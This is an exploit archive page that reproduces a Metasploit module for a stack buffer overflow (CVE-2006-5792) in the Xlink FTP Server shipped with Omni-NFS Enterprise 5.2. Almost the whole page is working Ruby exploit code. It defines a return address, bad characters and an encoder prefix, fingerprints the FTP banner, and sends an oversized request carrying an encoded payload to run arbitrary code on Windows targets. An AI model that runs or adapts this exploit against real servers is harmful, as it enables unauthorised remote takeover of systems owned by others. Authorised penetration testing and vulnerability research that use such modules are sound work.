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Xlink FTP Server Buffer Overflow

Xlink FTP Server Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Xlink FTP Server that comes bundled with Omni-NFS Enterprise 5.2. When a overly long FTP request is sent to the server, arbitrary code may be executed.

tags | exploit, overflow, arbitrary
advisories | CVE-2006-5792
SHA-256 | d5dc0cec7ede10b84bf0a0c3a0d4ca4f32d4aceb5a637c031f3f2eaa7148b92c

Xlink FTP Server Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Xlink FTP Server Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Xlink FTP Server
that comes bundled with Omni-NFS Enterprise 5.2.
When a overly long FTP request is sent to the server,
arbitrary code may be executed.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-5792' ],
[ 'OSVDB', '58646' ],
[ 'URL', 'http://www.metasploit.com/' ],
[ 'URL', 'http://www.xlink.com' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 260,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
],
'DisclosureDate' => 'Oct 3 2009',
'DefaultTarget' => 0))

deregister_options('FTPUSER', 'FTPPASS')
end

def check
connect
disconnect

if (banner =~ /XLINK FTP Server/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit

connect

sploit = payload.encoded + [target.ret].pack('V')
sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"

print_status("Trying target #{target.name}...")
sock.put(sploit)

handler
disconnect

end

end
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